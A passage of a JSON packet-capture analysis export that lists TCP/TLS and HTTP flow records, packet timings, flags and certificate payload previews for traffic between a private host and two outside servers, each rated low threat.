\\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u000b+7tK6\\u00026\\u0013\\u001bDT\\u0000A\\u001aF\\u000bv4Ub5\\fZbCJ\\u001dk\\u001d\\u0019%fyn[%$y-5_B\\txe P\\u0010j:\\u0018H\\t\\u0006u\\u0016'%Z:pl\\u0018GcS\\u000e\\u00155 =\\u0013\\u0001$\\bEVwg1BW\\u001a&CWc:{K\\u0010fgg\\tL\\u0019+\\\"=}c8,V\\tRomk\\bA/>1|JaFF(Wow%{);ry\\u0011Tm5+z\\u0016\\u0000\\u0007A\\u0001\\u0000\\u0007=0\\u00079\\n\\u0001\\u0000\\u000720\\u0007.\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u0007\\u001f0\\u0007\\u001b0\\u0016\\u0004\\u0014)3e;-M\\u0016Ds\\f\\u0019^\\u0018\\u000f20260628123305Z000L0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014\\u0015j\\tmH\\u000bxKgW\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe\\u0002\\u0013C\\u0000\\n\\u0003T\\u001f\\u000f\\u0000\\u0000\\u0000\\n\\u0003\\u0000\\u0018\\u000f20260628101308Z\\u0011\\u0018\\u000f20260706103308Z 0\\u001e0\\u001c\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0004\\u0004\\u000f\\u0017\\r260706103308Z0\\u000b\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0003\\u0001\\u0001\\u0000t?Ps-/\\u0016 \\u0017\\\" \\\"~zJ>zh\\\\dS5\\u0010*]\\\"&39?\\u0014\\\\q\\u0006teQ\\u0016\\u0016[\\f\\u0015\\u0015@u<.z0a_\\u0007zV\\u0010\\\\dY\\no\\u0011\\u000ep\\u0000\\u0001{\\u000e\\u0002\\u0011+}S\\b)s`IaeT.\\r\\u0010P~t\"}, {\"packet_number\": 102, \"timestamp\": 1782655311.401391, \"timestamp_iso\": \"2026-06-28T19:31:51.401391\", \"timestamp_human\": \"2026-06-28 19:31:51.401\", \"size\": 1855, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63417, \"ip_len\": 1841, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211342556, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 1801, \"payload_preview\": \"e1ee3059b41e87abb917bacc0e3b392a67bbffc332417176b28ed9d3004442d5fd3833d93ccc554c65dbe1e8a4693b683d7ee244ed134c2ca9dfcb4b89d39d573b2ee2d065a113e090a8ff15497f3d3d4ecbb8ab60c38fa082053d30820539308205353082031da003020102021343006cafa51b10b633cef1d47f0000006cafa5300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303632373135353031385a170d3236303732373135353031385a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a028201010092f377f98992dd4f68f5a63e6bc975fb099fa1a0128697c66c3ef97a76d4655649192c4d607926bb0bf65a3b754c4301e811396e503e43ce78b6a92f0209ace10fd5caf41ea1fb8f4680296984b9039609297abfdbac9f99a4e1363fee5607ba8db615a825c5ccbef6c3a01970ddbc8d0e03bedae2f5fdbd09886b9b22d49d903ad8ea2617ac9a7cb8c956fe7cc93a4562fc74eeb2735b6a95744dbaec7c472c1f96d442391ddfdae716ec2eb386d9b47b3aefb1a4ad23b63715a5c94514d8f027e5e8a8f93f2f3f01b49e07ee7048ab3f3e14540423c5579809fa553432fd860f5fb7ec16c30947d29774885db87347423753de31c2413f0d8cd5f6d936c7a50203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c0500038202010024734df2f3a3d28662ac1853ae5ad43e4f469904e403783bf56eb32463be838194b1aa2c196291e167dab3e607d443bf9703644fdc1aceb310716e69d1e33d1777a3852763b1dbe4023ac157b4f8fa5b1c50c2d20636fda473c8f3261d849c86e1860ef6d84dc626ca20ca6bedd66e0430ef24d7cc482103332c74473975250a2663a533907cf2b456283a706669797f8b8ce3ac87ee340360e834f74817af5d97e49d2e48b8dd70889a6b6ae98108908558337e5c78f1f549af2e4b6e357b74e28fe379e5b3f8f7da89c0a9c73c930eeeec985dfbc5434d24fc3952a5878cc67b7f675ace679e170c4df40a7ac522a244c335c5829cb89caf2a66524f6cc5853310ef4474a79f65a7b477d4c9b5b2e17a20cf5dcd2744807d53ad4ecd720b7daae019e816a8fb03ce86f118f6b34a00fa047d00ddf787823aabe80b354c1c7043e9b718d6ae3d837f5eca3f82f6ade815a7c0688c9553a2063691e92ede15f5d8157b51f299a43b6075099eead5022800a642c0f6be7f36fba37735a29a1589972b16d1b9f86bf207cb192d007cc64c3f1347ba9a1d5793310587899656f0f28e0051d529925d958a0740b9104179f8cb931ea41e8cebeb4264d94a5cad02d340c5461f5541de631efa4e308be97794de72efb0c09d7468e1f9a9f965a3df7ea8c495a5117e84dfd6e14e4b2712eacbf6a35d8cff730e6bf6bc2db0ed0d437b0c0001690300186104c99cd511f0846b02e30c2d6aa0385f36e3fe667d9ead320fd153d2de228a26366af57ce5d2bdf1d7eb32722b496bb1c0231b9f73d19852ee401333b62153e2310cb8a656b83b14026e7f888061b9e742800ac6b85b417bad3a3210fca238a68e0804010058e702fb75cbd522fd06dad543db5ba44aa9ae4b72f9826fb373146326ee2d9bcbf49726059a1f511c6a3cc916f221889f574999931faae2d106ee1e1b713cac9240ac84cc46c238e1a8561e55a191e66dd36f5103ea93e3fbdf7e30fb99fb91c18110f07e8aae3ded341725181eb79cf75c85081260ae04f57193e23808cca7b628ce9e43638d598adb759788a6d1dc4220182db87b127f872fe59b013d80308a57bb7b68abf7443760a08346d4821212c5fac7fcf20975f47e8a367169b335b39c768e61040274c946a6e49046af6181156e7940ab33b63ee3415a1636bb6c649c20ffebc566390207922444ffdbe31d444c10f1e6dfa49b84a5d9998677d30e000000\", \"payload_ascii\": \"0Y\\u001e\\u0017\\u000e;9*g2Aqv\\u0000DB83<ULei;h=~D\\u0013L,KW;.e\\u0013\\u0015I\\u007f==N`\\u0005=0\\u000590\\u000550\\u0003\\u001d\\u0003\\u0002\\u0001\\u0002\\u0002\\u0013C\\u0000l\\u001b\\u00103\\u007f\\u0000\\u0000\\u0000l0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u001e\\u0017\\r260627155018Z\\u0017\\r260727155018Z0n1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u000b0\\t\\u0006\\u0003U\\u0004\\b\\u0013\\u0002WA1\\u00100\\u000e\\u0006\\u0003U\\u0004\\u0007\\u0013\\u0007Redmond1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017TLS-G2-RSA-04 OCSP Cert0\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000wOh>ku\\t\\u0012l>zveVI\\u0019,M`y&\\u000bZ;uLC\\u0001\\u00119nP>Cx/\\u0002\\t\\u000f\\u001eF)i\\u0003\\t)z6?V\\u0007\\u0015%\\u0019p\\u000e\\u0003\\tk\\\":&\\u0017|V|:Ebts[jtM|G,\\u001fB9\\u001d\\u0016.{:#7\\u0015E\\u0014'?/?\\u0001\\u0007pH?>\\u0014T\\u0004#W\\tU42\\u000f_\\u0016\\tGt]sGB7S1A?\\r6\\u0002\\u0003\\u0001\\u0000\\u000100\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014)3e;-M\\u0016Ds\\f\\u0019^0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00070<\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0007\\u0004/0-\\u0006%+\\u0006\\u0001\\u0004\\u00017\\u0015\\b\\u001bF.\\f\\u001d]\\\"\\u001f\\u0002\\u0001d\\u0002\\u0001\\u00180\\u001b\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\n\\u0004\\u000e0\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u000f\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0005\\u0004\\u0002\\u0005\\u00000\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000$sMb\\u0018SZ>OF\\u0004\\u0003x;n$c,\\u0019bg\\u0007C\\u0003dO\\u001a\\u0010qni=\\u0017w'c\\u0002:W[\\u001cP\\u00066s&\\u001d\\u000eM& kn\\u00040$H!\\u00033,tG9u%\\n&c3|V(:pfiy\\u007f4\\u0003`4H\\u0017].Hpkj\\bX3~\\\\xI.Kn5{ty<\\u000e]CM$9R{\\u007fgZg\\u0017\\fM\\nz\\\"D5*fROl3\\u0010Dtewz ]'D}SNr\\u000b}\\u0019\\u0016\\u0003\\u0018J\\u0000\\u0004}\\u0000:\\u000b5L\\u001cpC\\u0018=\\u007f^?\\u0015hS\\u00066.\\u0015\\u0015{Q;`u\\t\\u0002(\\u0000B\\u007f6w5\\u0015+\\u0016k\\u0007\\u0019-\\u0000|L?\\u0013G\\u001dW1\\u0005V\\u0000Q)]\\u0007@\\u0010Ay\\u001e\\u001eBdJ\\\\\\u0002@F\\u001fUAc\\u001eN0wrthe~\\u0011~NK'\\u0012]s\\u000ek-\\rC{\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004\\u0011k\\u0002\\f-j8_6f}2\\u000fS\\\"&6j|2r+Ik#\\u001bsR@\\u00133!S1\\fV;\\u0014\\u0002n\\u007faB\\n[A{:2\\u00108\\b\\u0004\\u0001\\u0000X\\u0002u\\\"\\u0006C[JKros\\u0014c&-&\\u0005\\u001fQ\\u001cj<\\u0016!WI\\u001f\\u0006\\u001e\\u001bq<@F8V\\u001eUmoQ\\u0003~0\\u0010~=4\\u0017%\\u0018\\u001e\\\\\\b\\u0012`\\u0004q8\\b(CcYuB \\u0018-{\\u0012\\u007f/\\u0001=0W{hD7`F\\u0012\\u0012\\tu~6qi5va\\u0004\\u0002tFFa\\u0015ny@3>AZ\\u00166ld f9\\u0002\\u0007$D\\u001dDL\\u0010w\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 105, \"timestamp\": 1782655311.40845, \"timestamp_iso\": \"2026-06-28T19:31:51.408450\", \"timestamp_human\": \"2026-06-28 19:31:51.408\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63419, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344357, \"tcp_ack\": 4018533971, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 106, \"timestamp\": 1782655311.748113, \"timestamp_iso\": \"2026-06-28T19:31:51.748113\", \"timestamp_human\": \"2026-06-28 19:31:51.748\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63420, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344357, \"tcp_ack\": 4018533971, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"9a17e23380e9a0661214f2e3f9eb82a254829ad9df7e95600452d479b68c76c5\", \"payload_ascii\": \"\\u00173f\\u0012\\u0014T~`\\u0004Ryv\"}, {\"packet_number\": 109, \"timestamp\": 1782655311.749108, \"timestamp_iso\": \"2026-06-28T19:31:51.749108\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63421, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344784, \"tcp_ack\": 4018534058, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 111, \"timestamp\": 1782655311.749118, \"timestamp_iso\": \"2026-06-28T19:31:51.749118\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63422, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344784, \"tcp_ack\": 4018534174, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 113, \"timestamp\": 1782655311.749173, \"timestamp_iso\": \"2026-06-28T19:31:51.749173\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63423, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344784, \"tcp_ack\": 4018534212, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 114, \"timestamp\": 1782655312.06732, \"timestamp_iso\": \"2026-06-28T19:31:52.067320\", \"timestamp_human\": \"2026-06-28 19:31:52.067\", \"size\": 1204, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63424, \"ip_len\": 1190, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211344784, \"tcp_ack\": 4018534212, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 117, \"timestamp\": 1782655312.068343, \"timestamp_iso\": \"2026-06-28T19:31:52.068343\", \"timestamp_human\": \"2026-06-28 19:31:52.068\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63425, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211345934, \"tcp_ack\": 4018534276, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 118, \"timestamp\": 1782655312.644909, \"timestamp_iso\": \"2026-06-28T19:31:52.644909\", \"timestamp_human\": \"2026-06-28 19:31:52.644\", \"size\": 651, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63426, \"ip_len\": 637, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211345934, \"tcp_ack\": 4018534276, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 121, \"timestamp\": 1782655312.646427, \"timestamp_iso\": \"2026-06-28T19:31:52.646427\", \"timestamp_human\": \"2026-06-28 19:31:52.646\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63427, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211346531, \"tcp_ack\": 4018534346, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 122, \"timestamp\": 1782655313.070222, \"timestamp_iso\": \"2026-06-28T19:31:53.070222\", \"timestamp_human\": \"2026-06-28 19:31:53.070\", \"size\": 994, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63428, \"ip_len\": 980, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211346531, \"tcp_ack\": 4018534346, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 17, \"PSH\": 9}, \"packet_sizes\": [66, 54, 1518, 542, 3470, 1030, 1855, 54, 481, 54, 54, 54, 1204, 54, 651, 54, 994], \"inter_packet_intervals\": [0.00029206275939941406, 0.3505361080169678, 0.003465890884399414, 0.0005300045013427734, 0.041665077209472656, 0.0026619434356689453, 0.007058858871459961, 0.339663028717041, 0.0009951591491699219, 1.0013580322265625e-05, 5.4836273193359375e-05, 0.3181471824645996, 0.0010228157043457031, 0.5765659809112549, 0.0015180110931396484, 0.4237949848175049], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.0679819583892822, \"avg_packet_size\": 717.0, \"packets_per_second\": 8.220574619152396, \"bytes_per_second\": 5894.152001932268, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 481, \"avg_interval\": 0.12924887239933014, \"min_interval\": 1.0013580322265625e-05, \"max_interval\": 0.5765659809112549}, {\"source\": \"10.152.152.11\", \"target\": \"23.143.152.86\", \"packet_count\": 5, \"total_bytes\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64007], \"dst_ports\": [80], \"first_packet\": 1782655313.335746, \"last_packet\": 1782655313.923485, \"packets\": [{\"packet_number\": 127, \"timestamp\": 1782655313.335746, \"timestamp_iso\": \"2026-06-28T19:31:53.335746\", \"timestamp_human\": \"2026-06-28 19:31:53.335\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.143.152.86\", \"ttl\": 128, \"ip_id\": 61255, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64007, \"dst_port\": 80, \"tcp_seq\": 2190247568, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 129, \"timestamp\": 1782655313.336029, \"timestamp_iso\": \"2026-06-28T19:31:53.336029\", \"timestamp_human\": \"2026-06-28 19:31:53.336\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.143.152.86\", \"ttl\": 128, \"ip_id\": 61256, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64007, \"dst_port\": 80, \"tcp_seq\": 2190247569, \"tcp_ack\": 795081144, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 130, \"timestamp\": 1782655313.336089, \"timestamp_iso\": \"2026-06-28T19:31:53.336089\", \"timestamp_human\": \"2026-06-28 19:31:53.336\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.143.152.86\", \"ttl\": 128, \"ip_id\": 61257, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64007, \"dst_port\": 80, \"tcp_seq\": 2190247569, \"tcp_ack\": 795081144, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 133, \"timestamp\": 1782655313.923268, \"timestamp_iso\": \"2026-06-28T19:31:53.923268\", \"timestamp_human\": \"2026-06-28 19:31:53.923\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.143.152.86\", \"ttl\": 128, \"ip_id\": 61258, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64007, \"dst_port\": 80, \"tcp_seq\": 2190247974, \"tcp_ack\": 795085192, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 135, \"timestamp\": 1782655313.923485, \"timestamp_iso\": \"2026-06-28T19:31:53.923485\", \"timestamp_human\": \"2026-06-28 19:31:53.923\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.143.152.86\", \"ttl\": 128, \"ip_id\": 61259, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64007, \"dst_port\": 80, \"tcp_seq\": 2190247974, \"tcp_ack\": 795085555, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54], \"inter_packet_intervals\": [0.0002830028533935547, 5.984306335449219e-05, 0.5871791839599609, 0.00021696090698242188], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.5877389907836914, \"avg_packet_size\": 137.4, \"packets_per_second\": 8.507177639062194, \"bytes_per_second\": 1168.8862076071453, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 0.14693474769592285, \"min_interval\": 5.984306335449219e-05, \"max_interval\": 0.5871791839599609}, {\"source\": \"23.143.152.86\", \"target\": \"10.152.152.11\", \"packet_count\": 4, \"total_bytes\": 4639, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64007], \"first_packet\": 1782655313.335797, \"last_packet\": 1782655313.923291, \"packets\": [{\"packet_number\": 128, \"timestamp\": 1782655313.335797, \"timestamp_iso\": \"2026-06-28T19:31:53.335797\", \"timestamp_human\": \"2026-06-28 19:31:53.335\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"23.143.152.86\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64007, \"tcp_seq\": 795081143, \"tcp_ack\": 2190247569, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 131, \"timestamp\": 1782655313.336094, \"timestamp_iso\": \"2026-06-28T19:31:53.336094\", \"timestamp_human\": \"2026-06-28 19:31:53.336\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"23.143.152.86\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 